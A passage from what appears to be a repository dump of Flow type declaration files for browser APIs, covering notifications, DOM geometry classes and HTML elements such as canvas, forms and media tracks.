https://wicg.github.io/file-system-access/#api-showdirectorypicker\ndeclare function showDirectoryPicker(\n  options?: WindowDirectoryFilePickerOptions\n): Promise<FileSystemDirectoryHandle>;\n\n/* Notification */\ntype NotificationPermission = 'default' | 'denied' | 'granted';\ntype NotificationDirection = 'auto' | 'ltr' | 'rtl';\ntype VibratePattern = number | Array<number>;\ntype NotificationAction = {\n  action: string,\n  title: string,\n  icon?: string,\n  ...\n};\ntype NotificationOptions = {\n  dir?: NotificationDirection,\n  lang?: string,\n  body?: string,\n  tag?: string,\n  image?: string,\n  icon?: string,\n  badge?: string,\n  sound?: string,\n  vibrate?: VibratePattern,\n  timestamp?: number,\n  renotify?: boolean,\n  silent?: boolean,\n  requireInteraction?: boolean,\n  data?: ?any,\n  actions?: Array<NotificationAction>,\n  ...\n};\n\ndeclare class Notification extends EventTarget {\n  constructor(title: string, options?: NotificationOptions): void;\n  static +permission: NotificationPermission;\n  static requestPermission(\n    callback?: (perm: NotificationPermission) => mixed\n  ): Promise<NotificationPermission>;\n  static +maxActions: number;\n  onclick: ?(evt: Event) => mixed;\n  onclose: ?(evt: Event) => mixed;\n  onerror: ?(evt: Event) => mixed;\n  onshow: ?(evt: Event) => mixed;\n  +title: string;\n  +dir: NotificationDirection;\n  +lang: string;\n  +body: string;\n  +tag: string;\n  +image?: string;\n  +icon?: string;\n  +badge?: string;\n  +vibrate?: Array<number>;\n  +timestamp: number;\n  +renotify: boolean;\n  +silent: boolean;\n  +requireInteraction: boolean;\n  +data: any;\n  +actions: Array<NotificationAction>;\n\n  close(): void;\n}\n"
  },
  {
    "path": "flow-typed/environments/geometry.js",
    "content": "// flow-typed signature: c29a716c1825927cdfc3ad29fe929754\n// flow-typed version: 52ab99c6db/geometry/flow_>=v0.261.x\n\n// https://www.w3.org/TR/geometry-1/\n\ntype DOMMatrix2DInit =\n  | {|\n      a: number,\n      b: number,\n      c: number,\n      d: number,\n      e: number,\n      f: number,\n    |}\n  | {|\n      m11: number,\n      m12: number,\n      m21: number,\n      m22: number,\n      m41: number,\n      m42: number,\n    |};\n\ntype DOMMatrixInit =\n  | {|\n      ...DOMMatrix2DInit,\n      is2D: true,\n    |}\n  | {|\n      ...DOMMatrix2DInit,\n      is2D: false,\n      m13: number,\n      m14: number,\n      m23: number,\n      m24: number,\n      m31: number,\n      m32: number,\n      m33: number,\n      m34: number,\n      m43: number,\n      m44: number,\n    |};\n\ntype DOMPointInit = {|\n  w: number,\n  x: number,\n  y: number,\n  z: number,\n|};\n\ntype DOMQuadInit = {|\n  p1: DOMPointInit,\n  p2: DOMPointInit,\n  p3: DOMPointInit,\n  p4: DOMPointInit,\n|};\n\ntype DOMRectInit = {|\n  height: number,\n  width: number,\n  x: number,\n  y: number,\n|};\n\ndeclare class DOMMatrix extends DOMMatrixReadOnly {\n  a: number;\n  b: number;\n  c: number;\n  d: number;\n  e: number;\n  f: number;\n  m11: number;\n  m12: number;\n  m13: number;\n  m14: number;\n  m21: number;\n  m22: number;\n  m23: number;\n  m24: number;\n  m31: number;\n  m32: number;\n  m33: number;\n  m34: number;\n  m41: number;\n  m42: number;\n  m43: number;\n  m44: number;\n\n  static fromFloat32Array(array32: Float32Array): DOMMatrix;\n  static fromFloat64Array(array64: Float64Array): DOMMatrix;\n  static fromMatrix(other?: DOMMatrixInit): DOMMatrix;\n\n  constructor(init?: string | Array<number>): void;\n  invertSelf(): DOMMatrix;\n  multiplySelf(other?: DOMMatrixInit): DOMMatrix;\n  preMultiplySelf(other?: DOMMatrixInit): DOMMatrix;\n  rotateAxisAngleSelf(\n    x?: number,\n    y?: number,\n    z?: number,\n    angle?: number\n  ): DOMMatrix;\n  rotateFromVectorSelf(x?: number, y?: number): DOMMatrix;\n  rotateSelf(rotX?: number, rotY?: number, rotZ?: number): DOMMatrix;\n  scale3dSelf(\n    scale?: number,\n    originX?: number,\n    originY?: number,\n    originZ?: number\n  ): DOMMatrix;\n  scaleSelf(\n    scaleX?: number,\n    scaleY?: number,\n    scaleZ?: number,\n    originX?: number,\n    originY?: number,\n    originZ?: number\n  ): DOMMatrix;\n  setMatrixValue(transformList: string): DOMMatrix;\n  skewXSelf(sx?: number): DOMMatrix;\n  skewYSelf(sy?: number): DOMMatrix;\n  translateSelf(tx?: number, ty?: number, tz?: number): DOMMatrix;\n}\n\ndeclare class DOMMatrixReadOnly {\n  +a: number;\n  +b: number;\n  +c: number;\n  +d: number;\n  +e: number;\n  +f: number;\n  +is2D: boolean;\n  +isIdentity: boolean;\n  +m11: number;\n  +m12: number;\n  +m13: number;\n  +m14: number;\n  +m21: number;\n  +m22: number;\n  +m23: number;\n  +m24: number;\n  +m31: number;\n  +m32: number;\n  +m33: number;\n  +m34: number;\n  +m41: number;\n  +m42: number;\n  +m43: number;\n  +m44: number;\n\n  static fromFloat32Array(array32: Float32Array): DOMMatrixReadOnly;\n  static fromFloat64Array(array64: Float64Array): DOMMatrixReadOnly;\n  static fromMatrix(other?: DOMMatrixInit): DOMMatrixReadOnly;\n\n  constructor(init?: string | Array<number>): void;\n  flipX(): DOMMatrix;\n  flipY(): DOMMatrix;\n  inverse(): DOMMatrix;\n  multiply(other?: DOMMatrixInit): DOMMatrix;\n  rotate(rotX?: number, rotY?: number, rotZ?: number): DOMMatrix;\n  rotateAxisAngle(\n    x?: number,\n    y?: number,\n    z?: number,\n    angle?: number\n  ): DOMMatrix;\n  rotateFromVector(x?: number, y?: number): DOMMatrix;\n  scale(\n    scaleX?: number,\n    scaleY?: number,\n    scaleZ?: number,\n    originX?: number,\n    originY?: number,\n    originZ?: number\n  ): DOMMatrix;\n  scale3d(\n    scale?: number,\n    originX?: number,\n    originY?: number,\n    originZ?: number\n  ): DOMMatrix;\n  scaleNonUniform(scaleX?: number, scaleY?: number): DOMMatrix;\n  skewX(sx?: number): DOMMatrix;\n  skewY(sy?: number): DOMMatrix;\n  toFloat32Array(): Float32Array;\n  toFloat64Array(): Float64Array;\n  toJSON(): Object;\n  transformPoint(point?: DOMPointInit): DOMPoint;\n  translate(tx?: number, ty?: number, tz?: number): DOMMatrix;\n  toString(): string;\n}\n\ndeclare class DOMPoint extends DOMPointReadOnly {\n  w: number;\n  x: number;\n  y: number;\n  z: number;\n\n  static fromPoint(other?: DOMPointInit): DOMPoint;\n\n  constructor(x?: number, y?: number, z?: number, w?: number): void;\n}\n\ndeclare class DOMPointReadOnly {\n  +w: number;\n  +x: number;\n  +y: number;\n  +z: number;\n\n  static fromPoint(other?: DOMPointInit): DOMPointReadOnly;\n\n  constructor(x?: number, y?: number, z?: number, w?: number): void;\n  matrixTransform(matrix?: DOMMatrixInit): DOMPoint;\n  toJSON(): Object;\n}\n\ndeclare class DOMQuad {\n  +p1: DOMPoint;\n  +p2: DOMPoint;\n  +p3: DOMPoint;\n  +p4: DOMPoint;\n\n  static fromQuad(other?: DOMQuadInit): DOMQuad;\n  static fromRect(other?: DOMRectInit): DOMQuad;\n\n  constructor(\n    p1?: DOMPointInit,\n    p2?: DOMPointInit,\n    p3?: DOMPointInit,\n    p4?: DOMPointInit\n  ): void;\n  getBounds(): DOMRect;\n  toJSON(): Object;\n}\n\ndeclare class DOMRect extends DOMRectReadOnly {\n  height: number;\n  width: number;\n  x: number;\n  y: number;\n\n  constructor(x?: number, y?: number, width?: number, height?: number): void;\n\n  static fromRect(other?: DOMRectInit): DOMRect;\n}\n\ndeclare class DOMRectList {\n  +length: number;\n\n  @@iterator(): Iterator<DOMRect>;\n\n  item(index: number): DOMRect;\n  [index: number]: DOMRect;\n}\n\ndeclare class DOMRectReadOnly {\n  +bottom: number;\n  +height: number;\n  +left: number;\n  +right: number;\n  +top: number;\n  +width: number;\n  +x: number;\n  +y: number;\n\n  constructor(x?: number, y?: number, width?: number, height?: number): void;\n\n  static fromRect(other?: DOMRectInit): DOMRectReadOnly;\n  toJSON(): Object;\n}\n"
  },
  {
    "path": "flow-typed/environments/html.js",
    "content": "// flow-typed signature: 760aeea3b9b767e808097fe22b68a20f\n// flow-typed version: 8584579196/html/flow_>=v0.261.x\n\n/* DataTransfer */\n\ndeclare class DataTransfer {\n  clearData(format?: string): void;\n  getData(format: string): string;\n  setData(format: string, data: string): void;\n  setDragImage(image: Element, x: number, y: number): void;\n  dropEffect: string;\n  effectAllowed: string;\n  files: FileList; // readonly\n  items: DataTransferItemList; // readonly\n  types: Array<string>; // readonly\n}\n\ndeclare class DataTransferItemList {\n  @@iterator(): Iterator<DataTransferItem>;\n  length: number; // readonly\n  [index: number]: DataTransferItem;\n  add(data: string, type: string): ?DataTransferItem;\n  add(data: File): ?DataTransferItem;\n  remove(index: number): void;\n  clear(): void;\n}\n\n// https://wicg.github.io/file-system-access/#drag-and-drop\ndeclare class DataTransferItem {\n  kind: string; // readonly\n  type: string; // readonly\n  getAsString(_callback: ?(data: string) => mixed): void;\n  getAsFile(): ?File;\n  /*\n   * This is not supported by all browsers, please have a fallback plan for it.\n   * For more information, please checkout\n   * https://developer.mozilla.org/en-US/docs/Web/API/DataTransferItem/webkitGetAsEntry\n   */\n  webkitGetAsEntry(): void | (() => any);\n  /*\n   * Not supported in all browsers\n   * For up to date compatibility information, please visit\n   * https://developer.mozilla.org/en-US/docs/Web/API/DataTransferItem/getAsFileSystemHandle\n   */\n  getAsFileSystemHandle?: () => Promise<?FileSystemHandle>;\n}\n\ndeclare type DOMStringMap = {[key: string]: string, ...};\n\ndeclare class DOMStringList {\n  @@iterator(): Iterator<string>;\n  +[key: number]: string;\n  +length: number;\n  item(number): string | null;\n  contains(string): boolean;\n}\n\ndeclare type ElementDefinitionOptions = {|extends?: string|};\n\ndeclare interface CustomElementRegistry {\n  define(\n    name: string,\n    ctor: Class<Element>,\n    options?: ElementDefinitionOptions\n  ): void;\n  get(name: string): any;\n  whenDefined(name: string): Promise<void>;\n}\n\n// https://www.w3.org/TR/eventsource/\ndeclare class EventSource extends EventTarget {\n  constructor(\n    url: string,\n    configuration?: {withCredentials: boolean, ...}\n  ): void;\n  +CLOSED: 2;\n  +CONNECTING: 0;\n  +OPEN: 1;\n  +readyState: 0 | 1 | 2;\n  +url: string;\n  +withCredentials: boolean;\n  onerror: () => void;\n  onmessage: MessageEventListener;\n  onopen: () => void;\n  close: () => void;\n}\n\n// https://html.spec.whatwg.org/multipage/webappapis.html#the-errorevent-interface\ndeclare class ErrorEvent extends Event {\n  constructor(\n    type: string,\n    eventInitDict?: {\n      ...Event$Init,\n      message?: string,\n      filename?: string,\n      lineno?: number,\n      colno?: number,\n      error?: any,\n      ...\n    }\n  ): void;\n  +message: string;\n  +filename: string;\n  +lineno: number;\n  +colno: number;\n  +error: any;\n}\n\n// https://html.spec.whatwg.org/multipage/web-messaging.html#broadcasting-to-other-browsing-contexts\ndeclare class BroadcastChannel extends EventTarget {\n  name: string;\n  onmessage: ?(event: MessageEvent<>) => void;\n  onmessageerror: ?(event: MessageEvent<>) => void;\n\n  constructor(name: string): void;\n  postMessage(msg: mixed): void;\n  close(): void;\n}\n\n// https://www.w3.org/TR/webstorage/#the-storageevent-interface\ndeclare class StorageEvent extends Event {\n  key: ?string;\n  oldValue: ?string;\n  newValue: ?string;\n  url: string;\n  storageArea: ?Storage;\n}\n\n// https://www.w3.org/TR/html50/browsers.html#beforeunloadevent\ndeclare class BeforeUnloadEvent extends Event {\n  returnValue: string;\n}\n\ntype ToggleEvent$Init = {\n  ...Event$Init,\n  oldState: string,\n  newState: string,\n  ...\n};\n\ndeclare class ToggleEvent extends Event {\n  constructor(type: ToggleEventTypes, eventInit?: ToggleEvent$Init): void;\n  +oldState: string;\n  +newState: string;\n}\n\n// TODO: HTMLDocument\ntype FocusOptions = {preventScroll?: boolean, ...};\n\ndeclare class HTMLElement extends Element {\n  blur(): void;\n  click(): void;\n  focus(options?: FocusOptions): void;\n  getBoundingClientRect(): DOMRect;\n  forceSpellcheck(): void;\n\n  showPopover(options?: {|source?: HTMLElement|}): void;\n  hidePopover(): void;\n  togglePopover(\n    options?: boolean | {|force?: boolean, source?: HTMLElement|}\n  ): boolean;\n\n  accessKey: string;\n  accessKeyLabel: string;\n  contentEditable: string;\n  contextMenu: ?HTMLMenuElement;\n  dataset: DOMStringMap;\n  dir: 'ltr' | 'rtl' | 'auto';\n  draggable: boolean;\n  dropzone: any;\n  hidden: boolean;\n  inert: boolean;\n  isContentEditable: boolean;\n  itemProp: any;\n  itemScope: boolean;\n  itemType: any;\n  itemValue: Object;\n  lang: string;\n  offsetHeight: number;\n  offsetLeft: number;\n  offsetParent: ?Element;\n  offsetTop: number;\n  offsetWidth: number;\n  onabort: ?Function;\n  onblur: ?Function;\n  oncancel: ?Function;\n  oncanplay: ?Function;\n  oncanplaythrough: ?Function;\n  onchange: ?Function;\n  onclick: ?Function;\n  oncontextmenu: ?Function;\n  oncuechange: ?Function;\n  ondblclick: ?Function;\n  ondurationchange: ?Function;\n  onemptied: ?Function;\n  onended: ?Function;\n  onerror: ?Function;\n  onfocus: ?Function;\n  onfullscreenchange: ?Function;\n  onfullscreenerror: ?Function;\n  ongotpointercapture: ?Function;\n  oninput: ?Function;\n  oninvalid: ?Function;\n  onkeydown: ?Function;\n  onkeypress: ?Function;\n  onkeyup: ?Function;\n  onload: ?Function;\n  onloadeddata: ?Function;\n  onloadedmetadata: ?Function;\n  onloadstart: ?Function;\n  onlostpointercapture: ?Function;\n  onmousedown: ?Function;\n  onmouseenter: ?Function;\n  onmouseleave: ?Function;\n  onmousemove: ?Function;\n  onmouseout: ?Function;\n  onmouseover: ?Function;\n  onmouseup: ?Function;\n  onmousewheel: ?Function;\n  onpause: ?Function;\n  onplay: ?Function;\n  onplaying: ?Function;\n  onpointercancel: ?Function;\n  onpointerdown: ?Function;\n  onpointerenter: ?Function;\n  onpointerleave: ?Function;\n  onpointermove: ?Function;\n  onpointerout: ?Function;\n  onpointerover: ?Function;\n  onpointerup: ?Function;\n  onprogress: ?Function;\n  onratechange: ?Function;\n  onreadystatechange: ?Function;\n  onreset: ?Function;\n  onresize: ?Function;\n  onscroll: ?Function;\n  onseeked: ?Function;\n  onseeking: ?Function;\n  onselect: ?Function;\n  onshow: ?Function;\n  onstalled: ?Function;\n  onsubmit: ?Function;\n  onsuspend: ?Function;\n  ontimeupdate: ?Function;\n  ontoggle: ?Function;\n  onbeforetoggle: ?Function;\n  onvolumechange: ?Function;\n  onwaiting: ?Function;\n  properties: any;\n  spellcheck: boolean;\n  style: CSSStyleDeclaration;\n  tabIndex: number;\n  title: string;\n  translate: boolean;\n  popover: '' | 'auto' | 'manual' | 'hint';\n\n  +popoverVisibilityState: 'hidden' | 'showing';\n\n  +popoverInvoker: HTMLElement | null;\n}\n\ndeclare class HTMLSlotElement extends HTMLElement {\n  name: string;\n  assignedNodes(options?: {flatten: boolean, ...}): Node[];\n}\n\ndeclare class HTMLTableElement extends HTMLElement {\n  tagName: 'TABLE';\n  caption: HTMLTableCaptionElement | null;\n  tHead: HTMLTableSectionElement | null;\n  tFoot: HTMLTableSectionElement | null;\n  +tBodies: HTMLCollection<HTMLTableSectionElement>;\n  +rows: HTMLCollection<HTMLTableRowElement>;\n  createTHead(): HTMLTableSectionElement;\n  deleteTHead(): void;\n  createTFoot(): HTMLTableSectionElement;\n  deleteTFoot(): void;\n  createCaption(): HTMLTableCaptionElement;\n  deleteCaption(): void;\n  insertRow(index?: number): HTMLTableRowElement;\n  deleteRow(index: number): void;\n}\n\ndeclare class HTMLTableCaptionElement extends HTMLElement {\n  tagName: 'CAPTION';\n}\n\ndeclare class HTMLTableColElement extends HTMLElement {\n  tagName: 'COL' | 'COLGROUP';\n  span: number;\n}\n\ndeclare class HTMLTableSectionElement extends HTMLElement {\n  tagName: 'THEAD' | 'TFOOT' | 'TBODY';\n  +rows: HTMLCollection<HTMLTableRowElement>;\n  insertRow(index?: number): HTMLTableRowElement;\n  deleteRow(index: number): void;\n}\n\ndeclare class HTMLTableCellElement extends HTMLElement {\n  tagName: 'TD' | 'TH';\n  colSpan: number;\n  rowSpan: number;\n  +cellIndex: number;\n}\n\ndeclare class HTMLTableRowElement extends HTMLElement {\n  tagName: 'TR';\n  align: 'left' | 'right' | 'center';\n  +rowIndex: number;\n  +sectionRowIndex: number;\n  +cells: HTMLCollection<HTMLTableCellElement>;\n  deleteCell(index: number): void;\n  insertCell(index?: number): HTMLTableCellElement;\n}\n\ndeclare class HTMLMenuElement extends HTMLElement {\n  getCompact(): boolean;\n  setCompact(compact: boolean): void;\n}\n\ndeclare class HTMLBaseElement extends HTMLElement {\n  href: string;\n  target: string;\n}\n\ndeclare class HTMLTemplateElement extends HTMLElement {\n  content: DocumentFragment;\n}\n\ndeclare class CanvasGradient {\n  addColorStop(offset: number, color: string): void;\n}\n\ndeclare class CanvasPattern {\n  setTransform(matrix: SVGMatrix): void;\n}\n\ndeclare class ImageBitmap {\n  close(): void;\n  width: number;\n  height: number;\n}\n\ntype CanvasFillRule = string;\n\ntype CanvasImageSource =\n  | HTMLImageElement\n  | HTMLVideoElement\n  | HTMLCanvasElement\n  | CanvasRenderingContext2D\n  | ImageBitmap;\n\ndeclare class TextMetrics {\n  // x-direction\n  width: number;\n  actualBoundingBoxLeft: number;\n  actualBoundingBoxRight: number;\n\n  // y-direction\n  fontBoundingBoxAscent: number;\n  fontBoundingBoxDescent: number;\n  actualBoundingBoxAscent: number;\n  actualBoundingBoxDescent: number;\n  emHeightAscent: number;\n  emHeightDescent: number;\n  hangingBaseline: number;\n  alphabeticBaseline: number;\n  ideographicBaseline: number;\n}\n\ndeclare class CanvasDrawingStyles {\n  width: number;\n  actualBoundingBoxLeft: number;\n  actualBoundingBoxRight: number;\n\n  // y-direction\n  fontBoundingBoxAscent: number;\n  fontBoundingBoxDescent: number;\n  actualBoundingBoxAscent: number;\n  actualBoundingBoxDescent: number;\n  emHeightAscent: number;\n  emHeightDescent: number;\n  hangingBaseline: number;\n  alphabeticBaseline: number;\n  ideographicBaseline: number;\n}\n\ndeclare class Path2D {\n  constructor(path?: Path2D | string): void;\n\n  addPath(path: Path2D, transformation?: ?SVGMatrix): void;\n  addPathByStrokingPath(\n    path: Path2D,\n    styles: CanvasDrawingStyles,\n    transformation?: ?SVGMatrix\n  ): void;\n  addText(\n    text: string,\n    styles: CanvasDrawingStyles,\n    transformation: ?SVGMatrix,\n    x: number,\n    y: number,\n    maxWidth?: number\n  ): void;\n  addPathByStrokingText(\n    text: string,\n    styles: CanvasDrawingStyles,\n    transformation: ?SVGMatrix,\n    x: number,\n    y: number,\n    maxWidth?: number\n  ): void;\n  addText(\n    text: string,\n    styles: CanvasDrawingStyles,\n    transformation: ?SVGMatrix,\n    path: Path2D,\n    maxWidth?: number\n  ): void;\n  addPathByStrokingText(\n    text: string,\n    styles: CanvasDrawingStyles,\n    transformation: ?SVGMatrix,\n    path: Path2D,\n    maxWidth?: number\n  ): void;\n\n  // CanvasPathMethods\n  // shared path API methods\n  arc(\n    x: number,\n    y: number,\n    radius: number,\n    startAngle: number,\n    endAngle: number,\n    anticlockwise?: boolean\n  ): void;\n  arcTo(\n    x1: number,\n    y1: number,\n    x2: number,\n    y2: number,\n    radius: number,\n    _: void,\n    _: void\n  ): void;\n  arcTo(\n    x1: number,\n    y1: number,\n    x2: number,\n    y2: number,\n    radiusX: number,\n    radiusY: number,\n    rotation: number\n  ): void;\n  bezierCurveTo(\n    cp1x: number,\n    cp1y: number,\n    cp2x: number,\n    cp2y: number,\n    x: number,\n    y: number\n  ): void;\n  closePath(): void;\n  ellipse(\n    x: number,\n    y: number,\n    radiusX: number,\n    radiusY: number,\n    rotation: number,\n    startAngle: number,\n    endAngle: number,\n    anticlockwise?: boolean\n  ): void;\n  lineTo(x: number, y: number): void;\n  moveTo(x: number, y: number): void;\n  quadraticCurveTo(cpx: number, cpy: number, x: number, y: number): void;\n  rect(x: number, y: number, w: number, h: number): void;\n}\n\ndeclare class ImageData {\n  width: number;\n  height: number;\n  data: Uint8ClampedArray;\n\n  // constructor methods are used in Worker where CanvasRenderingContext2D\n  //  is unavailable.\n  // https://html.spec.whatwg.org/multipage/scripting.html#dom-imagedata\n  constructor(data: Uint8ClampedArray, width: number, height: number): void;\n  constructor(width: number, height: number): void;\n}\n\ndeclare class CanvasRenderingContext2D {\n  canvas: HTMLCanvasElement;\n\n  // canvas dimensions\n  width: number;\n  height: number;\n\n  // for contexts that aren't directly fixed to a specific canvas\n  commit(): void;\n\n  // state\n  save(): void;\n  restore(): void;\n\n  // transformations\n  currentTransform: SVGMatrix;\n  scale(x: number, y: number): void;\n  rotate(angle: number): void;\n  translate(x: number, y: number): void;\n  transform(\n    a: number,\n    b: number,\n    c: number,\n    d: number,\n    e: number,\n    f: number\n  ): void;\n  setTransform(\n    a: number,\n    b: number,\n    c: number,\n    d: number,\n    e: number,\n    f: number\n  ): void;\n  resetTransform(): void;\n\n  // compositing\n  globalAlpha: number;\n  globalCompositeOperation: string;\n\n  // image smoothing\n  imageSmoothingEnabled: boolean;\n  imageSmoothingQuality: 'low' | 'medium' | 'high';\n\n  // filters\n  filter: string;\n\n  // colours and styles\n  strokeStyle: string | CanvasGradient | CanvasPattern;\n  fillStyle: string | CanvasGradient | CanvasPattern;\n  createLinearGradient(\n    x0: number,\n    y0: number,\n    x1: number,\n    y1: number\n  ): CanvasGradient;\n  createRadialGradient(\n    x0: number,\n    y0: number,\n    r0: number,\n    x1: number,\n    y1: number,\n    r1: number\n  ): CanvasGradient;\n  createPattern(image: CanvasImageSource, repetition: ?string): CanvasPattern;\n\n  // shadows\n  shadowOffsetX: number;\n  shadowOffsetY: number;\n  shadowBlur: number;\n  shadowColor: string;\n\n  // rects\n  clearRect(x: number, y: number, w: number, h: number): void;\n  fillRect(x: number, y: number, w: number, h: number): void;\n  roundRect(\n    x: number,\n    y: number,\n    w: number,\n    h: number,\n    radii?: number | DOMPointInit | $ReadOnlyArray<number | DOMPointInit>\n  ): void;\n  strokeRect(x: number, y: number, w: number, h: number): void;\n\n  // path API\n  beginPath(): void;\n  fill(fillRule?: CanvasFillRule): void;\n  fill(path: Path2D, fillRule?: CanvasFillRule): void;\n  stroke(): void;\n  stroke(path: Path2D): void;\n  drawFocusIfNeeded(element: Element): void;\n  drawFocusIfNeeded(path: Path2D, element: Element): void;\n  scrollPathIntoView(): void;\n  scrollPathIntoView(path: Path2D): void;\n  clip(fillRule?: CanvasFillRule): void;\n  clip(path: Path2D, fillRule?: CanvasFillRule): void;\n  resetClip(): void;\n  isPointInPath(x: number, y: number, fillRule?: CanvasFillRule): boolean;\n  isPointInPath(\n    path: Path2D,\n    x: number,\n    y: number,\n    fillRule?: CanvasFillRule\n  ): boolean;\n  isPointInStroke(x: number, y: number): boolean;\n  isPointInStroke(path: Path2D, x: number, y: number): boolean;\n\n  // text (see also the CanvasDrawingStyles interface)\n  fillText(text: string, x: number, y: number, maxWidth?: number): void;\n  strokeText(text: string, x: number, y: number, maxWidth?: number): void;\n  measureText(text: string): TextMetrics;\n\n  // drawing images\n  drawImage(image: CanvasImageSource, dx: number, dy: number): void;\n  drawImage(\n    image: CanvasImageSource,\n    dx: number,\n    dy: number,\n    dw: number,\n    dh: number\n  ): void;\n  drawImage(\n    image: CanvasImageSource,\n    sx: number,\n    sy: number,\n    sw: number,\n    sh: number,\n    dx: number,\n    dy: number,\n    dw: number,\n    dh: number\n  ): void;\n\n  // hit regions\n  addHitRegion(options?: HitRegionOptions): void;\n  removeHitRegion(id: string): void;\n  clearHitRegions(): void;\n\n  // pixel manipulation\n  createImageData(sw: number, sh: number): ImageData;\n  createImageData(imagedata: ImageData): ImageData;\n  getImageData(sx: number, sy: number, sw: number, sh: number): ImageData;\n  putImageData(imagedata: ImageData, dx: number, dy: number): void;\n  putImageData(\n    imagedata: ImageData,\n    dx: number,\n    dy: number,\n    dirtyX: number,\n    dirtyY: number,\n    dirtyWidth: number,\n    dirtyHeight: number\n  ): void;\n\n  // CanvasDrawingStyles\n  // line caps/joins\n  lineWidth: number;\n  lineCap: string;\n  lineJoin: string;\n  miterLimit: number;\n\n  // dashed lines\n  setLineDash(segments: Array<number>): void;\n  getLineDash(): Array<number>;\n  lineDashOffset: number;\n\n  // text\n  font: string;\n  textAlign: string;\n  textBaseline: string;\n  direction: string;\n\n  // CanvasPathMethods\n  // shared path API methods\n  closePath(): void;\n  moveTo(x: number, y: number): void;\n  lineTo(x: number, y: number): void;\n  quadraticCurveTo(cpx: number, cpy: number, x: number, y: number): void;\n  bezierCurveTo(\n    cp1x: number,\n    cp1y: number,\n    cp2x: number,\n    cp2y: number,\n    x: number,\n    y: number\n  ): void;\n  arcTo(x1: number, y1: number, x2: number, y2: number, radius: number): void;\n  arcTo(\n    x1: number,\n    y1: number,\n    x2: number,\n    y2: number,\n    radiusX: number,\n    radiusY: number,\n    rotation: number\n  ): void;\n  rect(x: number, y: number, w: number, h: number): void;\n  arc(\n    x: number,\n    y: number,\n    radius: number,\n    startAngle: number,\n    endAngle: number,\n    anticlockwise?: boolean\n  ): void;\n  ellipse(\n    x: number,\n    y: number,\n    radiusX: number,\n    radiusY: number,\n    rotation: number,\n    startAngle: number,\n    endAngle: number,\n    anticlockwise?: boolean\n  ): void;\n}\n\n// http://www.w3.org/TR/html5/scripting-1.html#renderingcontext\ntype RenderingContext = CanvasRenderingContext2D | WebGLRenderingContext;\n\n// https://www.w3.org/TR/html5/scripting-1.html#htmlcanvaselement\ndeclare class HTMLCanvasElement extends HTMLElement {\n  tagName: 'CANVAS';\n  width: number;\n  height: number;\n  getContext(contextId: '2d', ...args: any): CanvasRenderingContext2D;\n  getContext(\n    contextId: 'webgl',\n    contextAttributes?: Partial<WebGLContextAttributes>\n  ): ?WebGLRenderingContext;\n  // IE currently only supports \"experimental-webgl\"\n  getContext(\n    contextId: 'experimental-webgl',\n    contextAttributes?: Partial<WebGLContextAttributes>\n  ): ?WebGLRenderingContext;\n  getContext(contextId: string, ...args: any): ?RenderingContext; // fallback\n  toDataURL(type?: string, ...args: any): string;\n  toBlob(callback: (v: File) => void, type?: string, ...args: any): void;\n  captureStream(frameRate?: number): CanvasCaptureMediaStream;\n}\n\n// https://html.spec.whatwg.org/multipage/forms.html#the-details-element\ndeclare class HTMLDetailsElement extends HTMLElement {\n  tagName: 'DETAILS';\n  open: boolean;\n}\n\ndeclare class HTMLFormElement extends HTMLElement {\n  tagName: 'FORM';\n  @@iterator(): Iterator<HTMLElement>;\n  [index: number | string]: HTMLElement | null;\n  acceptCharset: string;\n  action: string;\n  elements: HTMLCollection<HTMLElement>;\n  encoding: string;\n  enctype: string;\n  length: number;\n  method: string;\n  name: string;\n  rel: string;\n  target: string;\n\n  checkValidity(): boolean;\n  reportValidity(): boolean;\n  reset(): void;\n  submit(): void;\n}\n\n// https://www.w3.org/TR/html5/forms.html#the-fieldset-element\ndeclare class HTMLFieldSetElement extends HTMLElement {\n  tagName: 'FIELDSET';\n  disabled: boolean;\n  elements: HTMLCollection<HTMLElement>; // readonly\n  form: HTMLFormElement | null; // readonly\n  name: string;\n  type: string; // readonly\n\n  checkValidity(): boolean;\n  setCustomValidity(error: string): void;\n}\n\ndeclare class HTMLLegendElement extends HTMLElement {\n  tagName: 'LEGEND';\n  form: HTMLFormElement | null; // readonly\n}\n\ndeclare class HTMLIFrameElement extends HTMLElement {\n  tagName: 'IFRAME';\n  allowFullScreen: boolean;\n  contentDocument: Document;\n  contentWindow: any;\n  frameBorder: string;\n  height: string;\n  marginHeight: string;\n  marginWidth: string;\n  name: string;\n  scrolling: string;\n  sandbox: DOMTokenList;\n  src: string;\n  // flowlint unsafe-getters-setters:off\n  get srcdoc(): string;\n  set srcdoc(value: string | TrustedHTML): void;\n  // flowlint unsafe-getters-setters:error\n  width: string;\n}\n\ndeclare class HTMLImageElement extends HTMLElement {\n  tagName: 'IMG';\n  alt: string;\n  complete: boolean; // readonly\n  crossOrigin: ?string;\n  currentSrc: string; // readonly\n  height: number;\n  decode(): Promise<void>;\n  isMap: boolean;\n  naturalHeight: number; // readonly\n  naturalWidth: number; // readonly\n  sizes: string;\n  src: string;\n  srcset: string;\n  useMap: string;\n  width: number;\n}\n\ndeclare class Image extends HTMLImageElement {\n  constructor(width?: number, height?: number): void;\n}\n\ndeclare class MediaError {\n  MEDIA_ERR_ABORTED: number;\n  MEDIA_ERR_NETWORK: number;\n  MEDIA_ERR_DECODE: number;\n  MEDIA_ERR_SRC_NOT_SUPPORTED: number;\n  code: number;\n  message: ?string;\n}\n\ndeclare class TimeRanges {\n  length: number;\n  start(index: number): number;\n  end(index: number): number;\n}\n\ndeclare class Audio extends HTMLAudioElement {\n  constructor(URLString?: string): void;\n}\n\ndeclare class AudioTrack {\n  id: string;\n  kind: string;\n  label: string;\n  language: string;\n  enabled: boolean;\n}\n\ndeclare class AudioTrackList extends EventTarget {\n  length: number;\n  [index: number]: AudioTrack;\n\n  getTrackById(id: string): ?AudioTrack;\n\n  onchange: (ev: any) => any;\n  onaddtrack: (ev: any) => any;\n  onremovetrack: (ev: any) => any;\n}\n\ndeclare class VideoTrack {\n  id: string;\n  kind: string;\n  label: string;\n  language: string;\n  selected: boolean;\n}\n\ndeclare class VideoTrackList extends EventTarget {\n  length: number;\n  [index: number]: VideoTrack;\n  getTrackById(id: string): ?VideoTrack;\n  selectedIndex: number;\n\n  onchange: (ev: any) => any;\n  onaddtrack: (ev: any) => any;\n  onremovetrack: (ev: any) => any;\n}\n\ndeclare class TextTrackCue extends EventTarget {\n  constructor(startTime: number, endTime: number, text: string): void;\n\n  track: TextTrack;\n  id: string;\n  startTime: number;\n  endTime: number;\n  pauseOnExit: boolean;\n  vertical: string;\n  snapToLines: boolean;\n  lines: number;\n  position: number;\n  size: number;\n  align: string;\n  text: string;\n\n  getCueAsHTML(): 